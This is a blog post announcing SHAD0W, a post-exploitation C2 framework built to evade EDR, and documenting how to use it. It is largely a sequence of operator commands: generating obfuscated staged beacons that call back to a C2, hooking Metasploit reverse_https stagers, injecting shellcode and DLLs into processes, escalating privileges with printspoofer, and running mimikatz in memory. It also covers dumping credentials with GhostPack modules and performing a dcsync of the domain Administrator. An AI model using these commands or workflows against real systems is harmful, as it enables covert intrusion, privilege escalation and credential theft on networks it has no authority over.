Introducing SHAD0W

Available from the projects GitHub

Post exploitation is large part of a red team engagement. While many organisations begin to mature and start to deploy a range of sophisticated Endpoint Detection & Response solutions (EDR) onto their networks, it requires us, as attackers to also mature. We need to upgrade our arsenal to give us the capabilities to successfully operatate on their networks. That is why today, I am releasing shad0w.

shad0w is a post exploitation framework which is designed to operate covertly on such networks, providing the operator with much greater control over their engagements. In the past I have went into detail about some of the methods and techniques shad0w uses. This blog is going to serve as documentation for how to use shad0w, I will keep it up to date with the new features that come out in the future.


shad0w is designed to be run inside docker, this is to make life easier for the operator as it has some very specific dependencies which are required for it to work correctly. Installation is very simple, just requiring the two commands shown below.

$ git clone && cd shad0w
$ sudo ./shad0w install

This will build the a docker container named shad0w. It will take roughly 10 minutes to build.

Once this has finished you will be able to use the shad0w command. This command should be used to launch shad0w rather than doing it manually via docker.

Once installed the below command

$ shad0w --help

Should give this output



shad0w implants are called beacons. There are two types of beacons: secure and insecure.
Secure beacons are designed to operate in environments where it is vital to remain undetected where as insecure beacons are for environments where the security is much more relaxed.


Each beacon has a static and staged payload option. static payloads will store all the beacon code inside it so will be much larger. Where as staged payloads only contain a stub which will download and execute the rest of the payload.

There is also support for metasploits reverse_https stagers, I will go into more detail about this later in this post.

The general format for generating a beacon is as follows.

  • Payload

    This is controlled via the -p flag and is in the format arch / os / security / static. For example to generate a 64 bit secure staged windows beacon, the payload string would be x64/windows/secure and to create a static version it would be x64/windows/secure/static. Currently there is only support for 64 bit windows but in the future there will be a much wider range of architectures and operating systems supported.

  • Address

    This is the IP/Domain that the beacon will connect back to. It can either be a redirector or the C2 depending on your tradecraft. Its controlled by the -H flag.

  • Port

    The port that the beacon will call back on. By defualt this is set to 443 though this can be overridden by using the -P flag.

  • Jitter

    The jitter is the delay between callbacks that the beacon will make. By defualt it is set to 1 second but this value can be changed via the -j flag.

  • Format

    This is the format of the beacon. Currently there are 4 different formats; EXE, DLL, Powershell, ShellCode. They correspond to exe, dll, psh and raw respectively. Its controlled via the -f flag.

  • Output

    This is the file to store the generated beacon in.

  • No Shrink

    Because of the JSON library the beacons use they can be quite big. The reduce the size when being generated the EXE will be compressed via UPX then some obfuscation methods are used to hide the fact UPX was used. To skip out this stage you can use the -n flag.

  • Debug Mode

    To compile the beacon in debug mode use the -d flag.

Below is an example of generating a secure staged beacon in EXE format.

$ shad0w beacon -p x64/windows/secure -H -f exe -o beacon.exe


Setting Up The C2

Although a teamserver is coming soon currently each user has to spin up their own C2 instance. This is done using the listen argument when calling shad0w.

$ shad0w listen --help


Some options for setting up the C2 are below.

  • Address & Port

    The address and port that the C2 will listen on are both handled by the flags -a and -p flags respectively.

  • Custom Certificates

    By using the -k and -c flags you are able to tell the C2 to use different certificates and keys. You are also able generate new defualts by running make in the certs/ directory.

  • Mirroring Website

    The C2 provides the ability to live proxy a website, so if connected to by a web browser the C2 will proxy all content to and from the website its mirroring. This can be set up by using the -m flag.

  • Debug Mode

    Toggle with the -d flag.

  • Setting The Endpoint

    It is important to set the endpoint. This is the first place the beacon will callback to, either a redirector or the C2. Whatever you set as the -H when creating the beacon should be set as the C2 endpoint via the -e flag.

The below command is an example of spinning up a C2 server. It will take roughly 20-30 seconds as it will compile fresh payloads for use with stagers and exploits.

$ shad0w listen -e

This will be the interface you will be presented with once the C2 has loaded.


Catching Meterpreter Callbacks

Instead of rewriting every metasploit exploit and modules, I figured the more sane option would be to add support for metasploit stagers allowing you to load a shad0w beacon instead of meterpreter. Doing this only requires you to follow a couple extra steps.

First you need to make sure that the LHOST and LPORT both point to the shad0w C2. Then disable the default metasploit payload handler and set the exit function to none.

msf5> set DisablePayloadHandler true
msf5> set EXITFUNC none

Once that is done you will need to set the StagerURILength. This is important so that the C2 will be able to identify a meterpreter stager callback. It can be set to any value but you must remember it.

msf5> set StagerURILength 1337

Its only possible to stage a shad0w beacon over reverse_https stagers so the payload will need to be set as that.

msf5> set payload windows/x64/meterpreter/reverse_https

Once this is done you will need to make sure that your MsfUriSize variable in shad0w is set to the same as your StagerURILength in metasploit. This can be done using the set command.

shad0w ≫ set -v MsfUriSize -d 1337

Now when the metasploit modules is run, if it executes successfully you will be given a shad0w beacon.



Interacting With Beacons

Interacting and using beacons is very simple and is done using commands via the CLI.

The beacons command is used to list and interact with a beacon. You can use it to list the current beacons.

shad0w ≫ beacons


To then interact with the beacon you use the -i flag with the beacon number.

shad0w ≫ beacons -i 1


When you interact with a beacon the bar at the bottom of your terminal will appear holding information about the beacon.


To list the available commands you can use help. There are 40 currently available commands.

Using the file system

With an active shad0w beacon it is very easy to interact with the hosts file system. This can be done using similar commands to the linux command line.

To list the files in a directory you can use the ls command.

shad0w(SYSTEM@DC01) ≫ ls
shad0w(SYSTEM@DC01) ≫ ls C:\Users


You can change the current directory with the cd command.

shad0w(SYSTEM@DC01) ≫ cd C:\Users


Its also possible to display the current directory and delete files.

shad0w(SYSTEM@DC01) ≫ pwd
shad0w(SYSTEM@DC01) ≫ rm deleteme.txt


You can create directories with the mkdir command

shad0w(SYSTEM@DC01) ≫ mkdir DirectoryName


Process Management

It's important that once you have an active beacon you are not confined to a single process and are able to list, migrate and spawn new beacons and processes as much as you see fit. It's possible to do all of this with shad0w.

Using the getpid you can get infomation about the process the beacon is running in.

shad0w(SYSTEM@DC01) ≫ getpid


With the ps command you can list all the current processes and some infomation about them.

shad0w(SYSTEM@DC01) ≫ ps


If you decide to move from the current process you can use a range of options. To simply move the current beacon fully into a new process you can use the migrate command.

shad0w(SYSTEM@DC01) ≫ migrate -p 4404


To inject a new copy of the current beacon into a process you can using the binject command.

shad0w(SYSTEM@DC01) ≫ binject -p 4404


It is also possible to inject both raw shellcode and DLLs into processes. This can be done using the shinject and dllinject.

shad0w(SYSTEM@DC01) ≫ shinject -p 8725 -f shellcode.bin
shad0w(SYSTEM@DC01) ≫ dllinject -p 4267 -f yourfile.dll

Privilege Escalation

There is built in support for privilage escalation via the elevate command. To list the avaliable exploits you can use the -l command and the -c an -u to both check and use an exploit

shad0w(LOCAL SERVICE@DC01) ≫ elevate -l
shad0w(LOCAL SERVICE@DC01) ≫ elevate -c system_printspoofer
shad0w(LOCAL SERVICE@DC01) ≫ elevate -u system_printspoofer

Using the above commands you can see how we went from a beacon with the LOCAL SERVICE permissions to the machine account DC01$


In the future I will be writing more exploits.

In-Memory Code Execution

It's possible to execute .NET assemblies, EXEs, DLLs, VBS, JS or XSLs files inside memory. This is possible via the execute command. The file must be passed via the -f flag and any arguments via the -p flag

shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe
shad0w(SYSTEM@DC01) ≫ execute -f bin/mimikatz.x64.exe -p coffee


Socks Proxy

A slightly custom version of sharpsocks is currently used for socks proxying. The easiest way to setup a socks connection is by using the -q flag, this will open a 'quick' connection.

shad0w(SYSTEM@DC01) ≫ sharpsocks -q


Its also possible using the server and listen arguments to create much more complex connections.

Unmanaged PowerShell

There is also support for unmanaged powershell execution. It is handled via the psh command. The usage is very flexible and allows you to perform a wide range of actions.

Using the -c flag will execute a single powershell query.

shad0w(SYSTEM@DC01) ≫ psh -c Write-Output $PSversionTable


It's also possible to use modules. To list the currently available modules you can use the -l flag. Modules can be added by placing them in the scripts directory and rebuilding shad0w.

shad0w(SYSTEM@DC01) ≫ psh -l


To import a module (or modules) you need to use the -m flag. This will host the modules on a random path on the C2, it will then be downloaded and invoked before the command given via -c is executed.

shad0w(SYSTEM@DC01) ≫ psh -m GetHash -c Invoke-GetHash
shad0w(SYSTEM@DC01) ≫ psh -m GetHash,PowerUp -c Invoke-AllChecks; Invoke-GetHash


You can get infomation about a modules using the -i flag.

.NET Enumeration

You can list the available .NET versions via the dotnet command.

shad0w(SYSTEM@DC01) ≫ dotnet



I have written modules for all of the GhostPack binarys. This allows you to run them from a single command, without having to execute anything.

shad0w(SYSTEM@DC01) ≫ seatbelt
shad0w(SYSTEM@DC01) ≫ rubeus
shad0w(SYSTEM@DC01) ≫ sharpdpapi
shad0w(SYSTEM@DC01) ≫ sharpwmi
shad0w(SYSTEM@DC01) ≫ sharpup
shad0w(SYSTEM@DC01) ≫ safetykatz
shad0w(SYSTEM@DC01) ≫ sharpdump
shad0w(SYSTEM@DC01) ≫ sharpchrome


Using these modules its possible to perform a range of lateral movement techniques with ease.


There is bloodhound support via the sharphound command, like all modules it supports all the command line switches of the original program.

shad0w(SYSTEM@DC01) ≫ sharphound

Once sharphound has run you can use the download command to download the output.

shad0w(SYSTEM@DC01) ≫ download



There is also a built in mimikatz module. This extends features even further allowing you to perform actions such as dcsync and pth much easier.

As this is an example I will show dcsyncing from the DC, but it obviously still works in other locations and situations.

shad0w(SYSTEM@DC01) ≫ mimikatz -x "lsadump::dcsync /user:Administrator"


Killing A Beacon

Finally when its time to end the life of a beacon it can be done with the die command. This will warn you, then when you provide the -y command the beacon will be killed.

shad0w(SYSTEM@DC01) ≫ die
shad0w(SYSTEM@DC01) ≫ die -y


The Future

I am working on implementing a team server and GUI clients along with some cool new features. If you want to help development feel free to make pull requests on the github or DM me on my twitter @_batsec_ if you want to know where I could need some help.